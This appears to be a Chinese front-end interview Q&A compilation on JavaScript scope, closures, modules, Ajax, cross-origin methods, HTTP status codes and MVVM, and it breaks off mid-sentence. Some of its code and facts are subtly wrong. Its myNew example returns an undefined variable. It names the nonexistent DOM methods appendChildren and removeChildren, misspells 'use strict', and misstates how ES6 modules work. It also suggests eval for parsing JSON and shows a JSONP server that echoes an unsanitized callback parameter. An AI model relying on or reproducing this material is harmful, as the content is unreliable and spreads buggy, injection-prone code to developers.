作用链域?作用域链的作用保证执行环境里有权访问的变量和函数时有序的。 全局函数无法查看局部函数的内部细节,但局部函数可以查看其上层的函数细节,直至全局细节。 当需要从局部函数查找某一属性或方法时,如果当前作用域没有找到,就会上溯到上层作用域查找,直至全局函数,这种组织形式就是作用域链。 从底层来看,函数在编译时会创建一个执行上下文,声明的变量和函数都会保存在执行上下文,如果在当前执行上下文没有找到变量,就会沿着 outer 指针查找到上一级执行上下文,直到找到全局执行上下文。那么 outer 指针是怎么知道指向的执行上下文呢?是通过词法作用域决定,而词法作用域是变量或者函数声明位置决定。 谈谈 This 对象的理解 如果有 new 关键字,this 指向 new 出来的那个对象; 如果 apply、call 或 bind 方法用于调用、创建一个函数,函数内的 this 就是作为传入这些方法的对象; 当函数作为对象里的方法被调用时,函数内的 this 是调用该函数的对象; 在事件中,this 指向触发这个事件的对象,特殊的是,IE 中的 attachEvent 中的 this 总是指向全局对象 Window; 如果函数调用不符合上述规则,那么 this 的值指向全局对象(global object)。浏览器环境下 this 的值指向 window 对象,在严格模式下(”user strict”),this 的值为 undefined; 综上所述多个规则,较高(第一个最高,上一条最低)将决定 this 的值; ES2015 中的箭头函数,将忽略上面的所有规则,this 被设置为它被创建时的上下文; eval 是做什么的? 它的功能是把对应的字符串解析成 JS 代码并运行; 应该避免使用 eval,不安全,非常耗性能(2 次,一次解析成 js 语句,一次执行)。 由 JSON 字符串转换为 JSON 对象的时候可以用 eval,var obj =eval(‘(‘+ str +’)’); 什么是 window 对象?什么是 document 对象? window 对象是指浏览器打开的窗口 document 对象 HTML 文档对象的一个只读引用,window 对象的一个属性 undefined和null的区别? undefined表示变量声明了,但没有初始化 null表示一个对象“没有值”的值,也就是值为“空” 什么是闭包(closure),为什么要用它?MDN 的解释:一个函数和对其周围状态(词法环境)的引用捆绑在一起,这样的组合就是闭包(closure)。也就是说,闭包让你可以在一个内层函数中访问到其外层函数的作用域。红宝书的解释:闭包是指有权访问另一个函数作用域中变量的函数,创建闭包最常见的方式是一个函数内创建另一个函数,通过另一个函数访问这个函数的局部变量,利用闭包可以突破作用域链,将函数内部的变量和方法传递到外部。浏览器基本原理的解释:根据词法作用域的规则,内部函数总是可以访问其外部函数中声明的变量,当通过调用一个外部函数返回一个内部函数后,即使外部函数已经执行结束了,但是内部函数引用外部函数的变量依旧保存在内存中,把这些变量的集合称为闭包; 闭包特性 内部函数再嵌套内部函数。 内部函数可以引用外层参数和变量。 参数和变量不会被垃圾回收机制回收。 作用 读取函数内部变量,变量能始终保存在内存中。 封装对象的私有属性和私有方法。 哪些操作会造成内存泄漏?内存泄漏是任何对象在你不再拥有或需要它之后仍然存在。 setTimeout 的第一个参数使用字符串而非函数的话,会引起内存泄漏。 在早版本 IE,HTML 和 DOM 相互引用。 闭包使用不当。 XML 和 JSON 区别 数据体积方面:JSON 相对于 XML,数据体积小,传递的速度快。 数据交互方面:JSON 先对于 XML,交互更方便,更容易解析处理,更好数据交互。 数据描述方面:JSON 对数据的描述性比 XML 较差。 传输速度方面:JSON 的速补远远快于 XML。 javascript 代码中的”use strict”;是什么意思?使用它区别是什么?use strict 是一种 ECMAscript 5 添加的(严格)运行模式,这种模式使得 Javascript 在更严格的条件下运行, 使 JS 编码更加规范化的模式,消除 Javascript 语法的一些不合理、不严谨之处,减少一些怪异行为。 默认支持的糟糕特性都会被禁用,比如不能用 with,也不能在意外的情况下给全局变量赋值; 全局变量的显示声明,函数必须声明在顶层,不允许在非函数代码块内声明函数,arguments.callee 也不允许使用; 消除代码运行的一些不安全之处,保证代码运行的安全,限制函数中的 arguments 修改,严格模式下的 eval 函数的行为和非严格模式的也不相同; 提高编译器效率,增加运行速度; 为未来新版本的 Javascript 标准化做铺垫。 new 操作符具体干什么的? 创建一个空对象; 根据原型链,设置空对象的 __proto__ 为构造函数的 prototype; 构造函数的 this 指向这个对象,执行构造函数,为这个新对象添加属性; 判断函数的返回值类型,如果是引用类型,就返回这个引用类型对象,否则返回这个新对象。 12345678910111213141516function myNew(Fn) &#123; // ES6 中 new.target 指向构造函数 myNew.target = Fn // const obj = &#123;&#125; // obj.__proto__=Fn.prototype // 创建一个对象,对象原型指向构造函数原型 const obj = Object.create(Fn.prototype) // 调用构造函数,并将this绑定到该对象 const result = Fn.apply(obj, [...arguments]) // 构造函数执行返回值,如果是非引用类型,返回创建的对象,否则直接返回构造函数的返回值 const type = typeof result return (type === 'object' &amp;&amp; result !== null) || type === 'function' ? res : obj&#125; js 延迟加载的方式有哪些?defer 和 async、动态创建 DOM 方式(用得最多)、按需异步载入 js defer 与 async 区别?defer 是 渲染完再执行,async 是下载完就执行。 defer 要等到整个页面在内存中正常渲染结束(DOM 结构完全生成 DOMContentLoaded,以及其他脚本执行完成),才会执行; async 一旦下载完,渲染引擎就会中断渲染,执行整个脚本以后,再继续渲染。 Ajax 是什么?如何创建一个 Ajax?Ajax 全称:Asynchronous Javascript And XML异步传输+js+xml 所谓异步,在这里简单地解释就是:向服务器发送请求的时候,我们不必等待结果,而是可以同时做其他的事情,等到有了结果它自己会根据设定进行后续操作,与此同时,页面是不会发生整页刷新的,提高了用户体验。 Ajax 原理简单来说实在用户和服务器之间加一个中间层(Ajax 引擎),通过 XMLHttpRequest 对象来向服务器发送异步请求,从服务器获取数据,而后用 JavaScript 来操作 DOM 更新页面。使得用户操作和服务器响应异步化。 步骤: 创建 XMLHttpRequest 对象,也就是创建一个异步调用对象 创建一个新的 HTTP 请求,并指定该 HTTP 请求的方法、URL 及验证信息 设置响应 HTTP 请求状态变化的函数 发送 HTTP 请求 获取异步调用返回的数据 使用 JavaScript 和 DOM 实现局部刷新 123456789101112var xhr = new XMLHttpRequest()xhr.open('get', url, true)xhr.onreadystatechange = function () &#123; if (xhr.readyState == 4) &#123; if (xhr.status == 200) &#123; success(xhr.responseText) &#125; else &#123; error(xhr.status) &#125; &#125;&#125;xhr.send(null) Ajax 解决浏览器缓存问题? 在 ajax 发送请求前加上 anyAjaxObj.setRequestHeader(&quot;If-Modified-Since&quot;,&quot;0&quot;) 在 ajax 发送请求前加上 anyAjaxObj.setRequestHeader(&quot;Cache-Control&quot;,&quot;no-cache&quot;) 在 URL 后面加上一个随机数:&quot;fresh=&quot; + Math.random() 在 URL 后面加上时间戳 Ajax 的优缺点?优点: 异步模式,局部刷新,提示用户体验 优化了浏览器和服务器之间的传输,减少不必要的数据返回,减少减少带宽 Ajax 在客户端运行,承担了一部分本来由服务器承担的工作,减少了大用户量下的服务器负载 缺点: 安全问题,暴露与服务器交互细节 对搜索引擎支持比较弱 模块化开发怎么做?立即执行函数,不暴露已有成员。 1234567891011var module1 = function () &#123; var a = 100 var private1 = function () &#123;&#125; var public1 = function () &#123; // ... &#125; return &#123; public1: public1 &#125;&#125; 如何解决跨域问题?jsonp、 iframe、window.name、window.postMessage、服务器上设置代理页面、CORS、Proxy、Nginx JSONP客户端 1234567891011window.func = (data) =&gt; &#123; console.log('data: ', data)&#125;const script = document.createElement('script')script.src = 'http://domain.com/list?callback=func'script.onload = () =&gt; &#123; console.log('script loaded')&#125;const body = document.bodybody.append(script)body.removeChild(script) 服务器端 12345678910const express = require('express')const app = express()app.listen(8080, () =&gt; &#123; console.log('ok')&#125;)app.get('/list', (req, res) =&gt; &#123; const &#123; callback = Function.prototype &#125; = req.query const data = &#123; name: 'winfar', age: 18 &#125; res.send(`$&#123;callback&#125;($&#123;JSON.stringify(data)&#125;)`)&#125;) CORS客户端 123fetch('http://otherdomain.com/list', &#123; method: 'get' &#125;).then((response) =&gt; &#123; console.log('response: ', response)&#125;) 服务端 123456789101112131415const express = require('express')const app = express()app.use((req, res, next) =&gt; &#123; res.header('Access-Control-Allow-Origin', 'http://domain.com') res.header('Access-Control-Allow-Credentials', true) res.header('Access-Control-Allow-Headers', 'Content-Type,Content-Length,Authorization,Accept,X-Requested-with') res.header('Access-Control-Allow-Methods', 'PUT,POST,GET,DELETE,OPTIONS,HEAD') req.method === 'OPTIONS' ? res.send('CURRENT SERVICES SUPPORT CROSS DOMAIN REQUESTS') : next()&#125;)app.listen(80)app.get('/list', (req, res) =&gt; &#123; const data = &#123; name: 'winfar', age: 18 &#125; res.send(JSON.stringify(data))&#125;) Proxywebpack &amp;&amp; dev-server 12345678910111213141516171819202122232425const path = require('path')const HtmlWebpackPlugin = require('html-webpack-plugin')module.exports = &#123; mode: 'development', entry: './src/main.js', output: &#123; filename: 'main.[hash].min.js', path: path.resolve(__dirname, 'build') &#125;, devServer: &#123; port: '8080', proxy: &#123; '/': &#123; target: 'http://otherdomain.com', changeOrigin: true &#125; &#125; &#125;, plugins: [ new HtmlWebpackPlugin(&#123; template: './public/index.html', filename: 'index.html' &#125;) ]&#125; nginx123456789server &#123; listen 80; server_name http://domain.com; location / &#123; proxy_pass http://otherdomain.com; root html; index index.html index.htm; &#125;&#125; 页面编码和被请求的资源编码如果不一致如何处理?在引入资源设置响应的编码格式,&lt;script src=&quot;http://xxx.com/a.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; AMD(Modules/Asynchronous-Definition)、CMD(Common Module Definition)规范区别? AMD 异步模块定义,是 RequireJS 在推广过程中对模块定义的规范化产出 CMD 通用模块定义,是 SeaJS 在推广过程中对模块定义的规范化产出 这些规范的目的都是为了 JavaScript 的模块化开发,特别是在浏览器端的, 目前这些规范的实现都能达成浏览器端模块化开发的目的 区别: 对于依赖的模块,AMD 是提前执行,CMD 是延迟执行。不过 RequireJS 从 2.0 开始,也改成可以延迟执行(根据写法不同,处理方式不同)。CMD 推崇 as lazy as possible CMD 推崇依赖就近,AMD 推崇依赖前置 AMD 的 API 默认是一个当多个用,CMD 的 API 严格区分,推崇职责单一 说说你对 AMD 和 CommonJS 的了解他们都是实现模块提示的方式,知道 ES2015 出现之前,javascript 一直没有模块化体系。CommonJS 是同步的,而 AMD(Asynchronous Module Definition)从全称中可以明显看出是异步的。CommonJS 的设计是为服务器端开发考虑的,而 AMD 支持异步加载模块,更适合浏览器。 我发现 AMD 的语法非常冗长,CommonJS 更接近其他语言 import 声明语句的用法习惯。大多数情况下,我认为 AMD 没有使用的必要,因为如果把所有 JavaScript 都捆绑进一个文件中,将无法得到异步加载的好处。此外,CommonJS 语法上更接近 Node 编写模块的风格,在前后端都使用 JavaScript 开发之间进行切换时,语境的切换开销较小。 ES6 模块与 CommonJS 模块的差异 CommonJS 模块输出的是一个值的拷贝,ES6 模块输出的是值的引用; CommonJS 模块是运行时加载,ES6 模块是编译时输出接口(静态编译); CommonJS 是单值导出, ES6 Module 可以是导出多个; CommonJS 是动态语法可以写在判断里,ES6 Module 静态语法只能写在顶层; CommonJS 模块的 require() 是同步加载模块,ES6 模块的 import 命令是异步加载,有一个独立的模块依赖的解析阶段; CommonJS 模块的顶层 this 指向当前模块,ES6 模块之中,顶层的 this 指向 undefined。 CommonJS 中的 require/exports 和 ES6 中的 import/export 区别? CommonJS 模块的重要特性是加载时执行,即脚本代码在 require 的时候,就会全部执行。一旦出现某个模块被”循环加载”,就只输出已经执行的部分,还未执行的部分不会输出。 ES6 模块是动态引用,如果使用 import 从一个模块加载变量,那些变量不会被缓存,而是成为一个指向被加载模块的引用,需要开发者自己保证,真正取值的时候能够取到值。 import/export 最终都是编译为 require/exports 来执行的。 CommonJS 规范规定,每个模块内部, module 变量代表当前模块。这个变量是一个对象,它的 exports 属性(即 module.exports )是对外的接口。加载某个模块,其实是加载该模块的 module.exports 属性。 export 命令规定的是对外的接口,必须与模块内部的变量建立一一对应关系。 参考:Module 的加载实现「万字进阶」深入浅出 Commonjs 和 Es Module tree-shaking 原理tree-shaking 是通过清除多余代码方式来优化打包体积的技术。ES6 Module 引入进行静态分析,故而编译的时候正确判断到底加载了那些模块。静态分析程序流,判断那些模块和变量未被使用或者引用,进而删除对应代码。 import引入脚本文件省略后缀名,Node 会怎样查找?如果脚本文件省略了后缀名,比如import &#39;./foo&#39;,Node 会依次尝试四个后缀名:./foo.mjs、./foo.js、./foo.json、./foo.node。如果这些脚本文件都不存在,Node 就会去加载./foo/package.json的 main 字段指定的脚本。如果./foo/package.json不存在或者没有 main 字段,那么就会依次加载./foo/index.mjs、./foo/index.js、./foo/index.json、./foo/index.node。如果以上四个文件还是都不存在,就会抛出错误。 请解释下面代码为什么不能用作 IIFE:function foo(){ }();,需要作出哪些修改才能使其成为 IIFE?IIFE(Immediately Invoked Function Expressions)代表立即执行函数。 JavaScript 解析器将 function foo(){ }();解析成function foo(){ }和();。其中,前者是函数声明;后者(一对括号)是试图调用一个函数,却没有指定名称,因此它会抛出Uncaught SyntaxError: Unexpected token的错误。 修改方法是:再添加一对括号,形式上有两种:(function foo(){ })()和(function foo(){ }())。以上函数不会暴露到全局作用域,如果不需要在函数内部引用自身,可以省略函数的名称。 documen.write 和 innerHTML 的区别?document.write 只能重绘整个页面,innerHTML 可以重绘页面的一部分 DOM 操作——怎样添加、移除、移动、复制、创建和查找节点? 创建节点 document.createDocumentFragment() // 文档碎片 document.createElement(元素标签) // 创建元素节点 document.createTextNode(文本内容) // 创建文本节点 添加、移除、复制系节点 父节点.appendChildren(要添加的子节点) // 添加子节点 父节点.removeChildren(要删除的子节点) // 移除子节点 被复制的节点.cloneNode(true/false) //复制节点 查找 DOM.getElementsByTagName() // 标签查找 DOM.getElementsByName() // name 属性查找 DOM.getElementById() // id 查找 数组和对象有哪些原生方法,列举一下? 数组:push, pop, shift, unshift, concat, splice, slice 其中队列方法:push, shift栈方法:push, pop 对象:assign, create, defineProperty, defineProperty, entries, freeze, getOwnPropertyDescriptor, getOwnPropertyDescriptors, getOwnPropertyNames, getOwnPropertySymbols, getPropertyOf, is, isExtensible, isFrozen, hasOwnPropertyOf jquery.extend 与 jquery.fn.extend 的区别? jquery.extend 为 jquery 类添加类方法,可以理解为添加静态方法 源码中jquery.fn = jquery.prototype,所以对 jquery.fn 的扩展,就是为 jquery 类添加成员函数使用 jquery.extend扩展,需要通过 jquery 类来调用,而 jquery.fn.extend 扩展,所有 jquery 实例都可以直接调用 什么是 polyfill?polyfill 是“在旧版浏览器上复制标准 API 的 JavaScript 补充”,可以动态地加载 JavaScript 代码或库,在不支持这些标准 API 的浏览器中模拟它们。 例如,geolocation(地理位置)polyfill 可以在 navigator 对象上添加全局的 geolocation 对象,还能添加 getCurrentPosition 函数以及“坐标”回调对象,所有这些都是 W3C 地理位置 API 定义的对象和函数。因为 polyfill 模拟标准 API,所以能够以一种面向所有浏览器未来的方式针对这些 API 进行开发,一旦对这些 API 的支持变成绝对大多数,则可以方便地去掉 polyfill,无需做任何额外工作。 谈谈你对 webpack 的看法?WebPack 是一个模块打包工具,你可以使用 WebPack 管理你的模块依赖,并编绎输出模块们所需的静态文件。它能够很好地管理、打包 Web 开发中所用到的 HTML、Javascript、CSS 以及各种静态文件(图片、字体等),让开发过程更加高效。对于不同类型的资源,webpack 有对应的模块加载器。webpack 模块打包器会分析模块间的依赖关系,最后 生成了优化且合并后的静态资源 Webpack 热更新实现原理? Webpack 编译期,为需要热更新的 entry 注入热更新代码(EventSource 通信) 页面首次打开后,服务端与客户端通过 EventSource 建立通信渠道,把下一次的 hash 返回前端 客户端获取到 hash,这个 hash 将作为下一次请求服务端 hot-update.js 和 hot-update.json 的 hash 修改页面代码后,Webpack 监听到文件修改后,开始编译,编译完成后,发送 build 消息给客户端 客户端获取到 hash,成功后客户端构造 hot-update.js script 链接,然后插入主文档 hot-update.js 插入成功后,执行 hotAPI 的 createRecord 和 reload 方法,获取到 Vue 组件的 render 方法,重新 render 组件, 继而实现 UI 无刷新更新。 ES6 中变量声明的 6 中方法var、function、let、const、import、class Object.is() 与原来的比较操作符“ ===”、“ ==”的区别? 两等号判等,会在比较时进行类型转换 三等号判等,比较时不进行隐式类型转换 Object.is在三等号基础上处理了NaN、-0 和+0,使得-0和+0不同,Object.is(NaN, NaN)返回true 页面重构怎么操作?网站重构:在不改变外部行为的前提下,简化结构、添加可读性,而在网站前端保持一致的行为。也就是说是在不改变 UI 的情况下,对网站进行优化,在扩展的同时保持一致的 UI。 对于传统的网站来说重构通常是: 表格(table)布局改为 DIV+CSS 使网站前端兼容于现代浏览器(针对于不合规范的 CSS、如对 IE6 有效的) 对于移动平台的优化 针对于 SEO 进行优化 深层次的网站重构应该考虑的方面 减少代码间的耦合 让代码保持弹性 严格按规范编写代码 设计可扩展的 API 代替旧有的框架、语言(如 VB) 增强用户体验 通常来说对于速度的优化也包含在重构中 压缩 JS、CSS、image 等前端资源(通常是由服务器来解决) 程序的性能优化(如数据读写) 采用 CDN 来加速资源加载 对于 JS DOM 的优化 HTTP 服务器的文件缓存 设计模式 知道什么是 singleton, factory, strategy, decrator 么? Singleton,单例模式:保证一个类只有一个实例,并提供一个访问它的全局访问点 Factory Method,工厂方法:定义一个用于创建对象的接口,让子类决定实例化哪一个类,Factory Method 使一个类的实例化延迟到了子类 Strategy,策略模式:定义一系列的算法,把他们一个个封装起来,并使他们可以互相替换,本模式使得算法可以独立于使用它们的客户 Decrator,装饰模式:动态地给一个对象增加一些额外的职责,就增加的功能来说,Decorator 模式相比生成子类更加灵活 什么叫优雅降级和渐进增强? 优雅降级:Web 站点在所有新式浏览器中都能正常工作,如果用户使用的是老式浏览器,则代码会针对旧版本的 IE 进行降级处理了,使之在旧式浏览器上以某种形式降级体验却不至于完全不能用。如:border-shadow 渐进增强:从被所有浏览器支持的基本功能开始,逐步地添加那些只有新版本浏览器才支持的功能,向页面增加不影响基础浏览器的额外样式和功能的。当浏览器支持时,它们会自动地呈现出来并发挥作用。如:默认使用 flash 上传,但如果浏览器支持 HTML5 的文件上传功能,则使用 HTML5 实现更好的体验 WEB 应用从服务器主动推送 Data 到客户端有那些方式? html5 提供的 Websocket 不可见的 iframe WebSocket 通过 Flash XHR 长时间连接 XHR Multipart Streaming &lt;script&gt;标签的长时间连接(可跨域) 对 Node 的优点和缺点提出了自己的看法? 优点:Node 是基于事件驱动和无阻塞的,所以非常适合处理并发请求 缺点:Node 是一个相对新的开源项目,所以不太稳定,它总是一直在变,而且缺少足够多的第三方库支持。 http 状态码有那些?分别代表是什么意思?简单版: 100 Continue 继续,一般在发送 post 请求时,已发送了 http header 之后服务端将返回此信息,表示确认,之后发送具体参数信息 200 OK 正常返回信息 201 Created 请求成功并且服务器创建了新的资源 202 Accepted 服务器已接受请求,但尚未处理 301 Moved Permanently 请求的网页已永久移动到新位置。 302 Found 临时性重定向。 303 See Other 临时性重定向,且总是使用 GET 请求新的 URI。 304 Not Modified 自从上次请求后,请求的网页未修改过。 400 Bad Request 服务器无法理解请求的格式,客户端不应当尝试再次使用相同的内容发起请求。 401 Unauthorized 请求未授权。 403 Forbidden 禁止访问。 404 Not Found 找不到如何与 URI 相匹配的资源。 500 Internal Server Error 最常见的服务器端错误。 503 Service Unavailable 服务器端暂时无法处理请求(可能是过载或维护)。 完整版 (信息类):表示接收到请求并且继续处理 100——客户必须继续发出请求 (信息类):表示接收到请求并且继续处理 - 100——客户必须继续发出请求 - 101——客户要求服务器根据请求转换 HTTP 协议版本 (响应成功):表示动作被成功接收、理解和接受 200——表明该请求被成功地完成,所请求的资源发送回客户端 201——提示知道新文件的 URL 202——接受和处理、但处理未完成 203——返回信息不确定或不完整 204——请求收到,但返回信息为空 205——服务器完成了请求,用户代理必须复位当前已经浏览过的文件 206——服务器已经完成了部分用户的 GET 请求 (重定向类):为了完成指定的动作,必须接受进一步处理 300——请求的资源可在多处得到 301——本网页被永久性转移到另一个 URL 302——请求的网页被转移到一个新的地址,但客户访问仍继续通过原始 URL 地址,重定向,新的 URL 会在 response 中的 Location 中返回,浏览器将会使用新的 URL 发出新的 Request。 303——建议客户访问其他 URL 或访问方式 304——自从上次请求后,请求的网页未修改过,服务器返回此响应时,不会返回网页内容,代表上次的文档已经被缓存了,还可以继续使用 305——请求的资源必须从服务器指定的地址得到 306——前一版本 HTTP 中使用的代码,现行版本中不再使用 307——申明请求的资源临时性删除 (客户端错误类):请求包含错误语法或不能正确执行 400——客户端请求有语法错误,不能被服务器所理解 401——请求未经授权,这个状态代码必须和 WWW-Authenticate 报头域一起使用 HTTP 401.1 - 未授权:登录失败 - HTTP 401.2 - 未授权:服务器配置问题导致登录失败 - HTTP 401.3 - ACL 禁止访问资源 - HTTP 401.4 - 未授权:授权被筛选器拒绝 HTTP 401.5 - 未授权:ISAPI 或 CGI 授权失败 402——保留有效 ChargeTo 头响应 403——禁止访问,服务器收到请求,但是拒绝提供服务 HTTP 403.1 禁止访问:禁止可执行访问 - HTTP 403.2 - 禁止访问:禁止读访问 - HTTP 403.3 - 禁止访问:禁止写访问 - HTTP 403.4 - 禁止访问:要求 SSL - HTTP 403.5 - 禁止访问:要求 SSL 128 - HTTP 403.6 - 禁止访问:IP 地址被拒绝 - HTTP 403.7 - 禁止访问:要求客户证书 - HTTP 403.8 - 禁止访问:禁止站点访问 - HTTP 403.9 - 禁止访问:连接的用户过多 - HTTP 403.10 - 禁止访问:配置无效 - HTTP 403.11 - 禁止访问:密码更改 - HTTP 403.12 - 禁止访问:映射器拒绝访问 - HTTP 403.13 - 禁止访问:客户证书已被吊销 - HTTP 403.15 - 禁止访问:客户访问许可过多 - HTTP 403.16 - 禁止访问:客户证书不可信或者无效 HTTP 403.17 - 禁止访问:客户证书已经到期或者尚未生效 404——一个 404 错误表明可连接服务器,但服务器无法取得所请求的网页,请求资源不存在。eg:输入了错误的 URL 405——用户在 Request-Line 字段定义的方法不允许 406——根据用户发送的 Accept 拖,请求资源不可访问 407——类似 401,用户必须首先在代理服务器上得到授权 408——客户端没有在用户指定的饿时间内完成请求 409——对当前资源状态,请求不能完成 410——服务器上不再有此资源且无进一步的参考地址 411——服务器拒绝用户定义的 Content-Length 属性请求 412——一个或多个请求头字段在当前请求中错误 413——请求的资源大于服务器允许的大小 414——请求的资源 URL 长于服务器允许的长度 415——请求资源不支持请求项目格式 416——请求中包含 Range 请求头字段,在当前请求资源范围内没有 range 指示值,请求也不包含 If-Range 请求头字段 417——服务器不满足请求 Expect 头字段指定的期望值,如果是代理服务器,可能是下一级服务器不能满足请求长。 (服务端错误类):服务器不能正确执行一个正确的请求 HTTP 500 - 服务器遇到错误,无法完成请求 - HTTP 500.100 - 内部服务器错误 - ASP 错误 - HTTP 500-11 服务器关闭 - HTTP 500-12 应用程序重新启动 - HTTP 500-13 - 服务器太忙 - HTTP 500-14 - 应用程序无效 - HTTP 500-15 - 不允许请求 global.asa - Error 501 - 未实现 HTTP 502 - 网关错误 HTTP 503:由于超载或停机维护,服务器目前无法使用,一段时间后可能恢复正常 101——客户要求服务器根据请求转换 HTTP 协议版本 一个页面从输入 URL 到页面加载显示完成,这个过程中都发生了什么?(流程说的越详细越好)详细版: 浏览器会开启一个线程来处理这个请求,对 URL 分析判断如果是 http 协议就按照 Web 方式来处理; 调用浏览器内核中的对应方法,比如 WebView 中的 loadUrl 方法; 通过 DNS 解析获取网址的 IP 地址,设置 UA 等信息发出第二个 GET 请求; 进行 HTTP 协议会话,客户端发送报头(请求报头); 进入到 web 服务器上的 Web Server,如 Apache、Tomcat、Node.JS 等服务器; 进入部署好的后端应用,如 PHP、Java、JavaScript、Python 等,找到对应的请求处理; 处理结束回馈报头,此处如果浏览器访问过,缓存上有对应资源,会与服务器最后修改时间对比,一致则返回 304; 浏览器开始下载 html 文档(响应报头,状态码 200),同时使用缓存; 文档树建立,根据标记请求所需指定 MIME 类型的文件(比如 css、js),同时设置了 cookie; 页面开始渲染 DOM,JS 根据 DOM API 操作 DOM,执行事件绑定等,页面显示完成。 简洁版: 浏览器根据请求的 URL 交给 DNS 域名解析,找到真实 IP,向服务器发起请求; 服务器交给后台处理完成后返回数据,浏览器接收文件(HTML、JS、CSS、图象等); 浏览器对加载到的资源(HTML、JS、CSS 等)进行语法解析,建立相应的内部数据结构(如 HTML 的 DOM); 载入解析到的资源文件,渲染页面,完成。 什么是持久连接?HTTP 协议采用“请求-应答”模式,当使用普通模式,即非 keep-alive 模式时,每个请求和服务器都要新建一个链接,完成后立即断开连接(HTTP 协议为无连接的协议) 当使用 keep-alive 模式(又称持久连接、连接重用)时,keep-alive 功能是客户端到服务器端的连接持续有效,当出校对服务器的后继请求时,keep-alive 功能避免了建立或者重新建立连接 什么是管线化?在使用持久连接的情况下,某个链接上消息的传递类似于请求 1 -&gt; x 响应 1 -&gt; 请求 2 -&gt; 响应 2 管线化,在持久连接的基础上,类似于请求 1 -&gt; 请求 2 -&gt; 响应 1 -&gt; 响应 2 管线化特点: 管线化机制通过持久化完成,仅 HTTP/1.1 支持 只有 GET 和 HEAD 请求可以进行管线化,而 POST 有所限制 管线化不会影响响应到来的顺序 服务器端支持管线化,并不要求服务器端也对响应进行管线化处理,只是要求对于管线化的请求不失败 HTTP/1.1 与 HTTP/2.0 的区别 多路复用 HTTP/2.0 使用多路复用技术,使用同一个 TCP 连接来处理多个请求。 首部压缩 HTTP/1.1 的首部带有大量信息,而且每次都要重复发送。HTTP/2.0 要求通讯双方各自缓存一份首部字段表,从而避免了重复传输。 服务端推送 在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 index.html 页面,服务端就把 index.js 一起发送给客户端。 二进制格式 HTTP/1.1 的解析基于文本的,而 HTTP/2.0 采用二级制格式。 React 和 Vue 相似之处和不同之处?React 和 Vue 相似之处: 使用 Virtual DOM 提供了响应式(Reactive)和组件化(Composable)的视图组件 将注意力集中保持在和核心库,而将其他功能如路由和全局状态交给相关的库 不同之处: React 有更丰富的生态系统 React 在某个组件状态发生变化时,它会以该组件为根,重新渲染整个组件子树,而 Vue 自动追踪,精确知晓哪个组件需要被重渲染 React 渲染功能依靠 JSX,支持类型检查、编译器自动完成,linting,Vue 默认推荐的还是模板 CSS 作用域在 React 中是通过 CSS-in-JS 方案实现,Vue 设置样式的默认方法时单文件组件里类似 style 的标签 编写有本地渲染能力的 APP,React 有 React Native,比较成熟。Vue 有 Weex,还在快速发展中 对 MVVM 的认识? 先聊一下 MVC MVC:Model(模型) View(视图) Controller(控制器),主要是基于分层的目的,让彼此的职责分开。 View 通过 Controller 和 Model 联系,Controller 是 View 和 Model 的协调者,view 和 Model 不直接联系,基本联系都是单向的。 顺带提下 MVP MVP:是从 MVC 模式演变而来的,都是通过 Controller/Presenter 负责逻辑的处理+Model 提供数据+View 负责显示。 在 MVP 中,Presenter 完全把 View 和 Model 进行分离,主要的程序逻辑在 Presenter 里实现。并且,Presenter 和 View 是没有直接关联的,是通过定义好的接口进行交互,从而使得在变更 View 的时候可以保持 Presenter 不变。这样可以在没有 view 层就可以单元测试。 再聊聊 MVVN MVVM:Model + View + ViewModel,把 MVC 中的 Controller 和 MVP 中的 Presenter 改成 ViewModel view 的变化会自动更新到 ViewModel,ViewModel 的变化也会自动同步到 View 上显示。这种自动同步是因为 ViewModel 中的属性实现了 Observer,当属性变更时都能触发对应操作。 View 是 HTML 文本的 js 模板; ViewModel 是业务逻辑层(一切 js 可视业务逻辑,比如表单按钮提交,自定义事件的注册和处理逻辑都在 viewmodel 里面负责监控两边的数据); Model 数据层,对数据的处理(与后台数据交互的增删改查) 提一下我熟悉的 MVVM 框架:vue.js,Vue.js 是一个构建数据驱动的 web 界面的渐进式框架。Vue.js 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件。核心是一个响应的数据绑定系统。 一句话总结下不同之处 MVC 中联系是单向的,MVP 中 P 和 V 通过接口交互,MVVM 的联系是双向的 DOM 元素 e 的 e.getAttribute(propName)和 e.propName 有什么区别和联系? e.getAttribute(),是标准 DOM 操作文档元素属性的方法,具有通用性可在任意文档上使用,返回元素在源文件中设置的属性; e.propName 通常是在 HTML 文档中访问特定元素的特性,浏览器解析元素后生成对应对象(如 a 标签生成 HTMLAnchorElement),这些对象的特性会根据特定规则结合属性设置得到,对于没有对应特性的属性,只能使用 getAttribute 进行访问; 一些 attribute 和 property 不是一一对应如:form 控件中对应的是 defaultValue,修改或设置 value property 修改的是控件当前值,setAttribute 修改 value 属性不会改变 value property; offsetWidth/offsetHeight,clientWidth/clientHeight 与 scrollWidth/scrollHeight 的区别? offsetWidth/offsetHeight 返回值包含 content + padding + border,效果与 e.getBoundingClientRect()相同 clientWidth/clientHeight 返回值只包含 content + padding,如果有滚动条,也不包含滚动条 scrollWidth/scrollHeight 返回值包含 content + padding + 溢出内容的尺寸 XMLHttpRequest 通用属性和方法 readyState:表示请求状态的整数,取值: UNSENT(0):对象已创建 OPENED(1):open()成功调用,在这个状态下,可以为 xhr 设置请求头,或者使用 send()发送请求 HEADERS_RECEIVED(2):所有重定向已经自动完成访问,并且最终响应的 HTTP 头已经收到 LOADING(3):响应体正在接收 DONE(4):数据传输完成或者传输产生错误 onreadystatechange:readyState 改变时调用的函数 status:服务器返回的 HTTP 状态码(如,200, 404) statusText:服务器返回的 HTTP 状态信息(如,OK,No Content) responseText:作为字符串形式的来自服务器的完整响应 responseXML: Document 对象,表示服务器的响应解析成的 XML 文档 abort():取消异步 HTTP 请求 getAllResponseHeaders(): 返回一个字符串,包含响应中服务器发送的全部 HTTP 报头。每个报头都是一个用冒号分隔开的名/值对,并且使用一个回车/换行来分隔报头行 getResponseHeader(headerName):返回 headName 对应的报头值 open(method, url, asynchronous [, user, password]):初始化准备发送到服务器上的请求。method 是 HTTP 方法,不区分大小写;url 是请求发送的相对或绝对 URL;asynchronous 表示请求是否异步;user 和 password 提供身份验证 setRequestHeader(name, value):设置 HTTP 报头 send(body):对服务器请求进行初始化。参数 body 包含请求的主体部分,对于 POST 请求为键值对字符串;对于 GET 请求,为 null focus/blur 与 focusin/focusout 的区别和联系 focus/blur 不冒泡,focusin/focusout 冒泡; focus/blur 兼容好,focusin/focusout 在除 FireFox 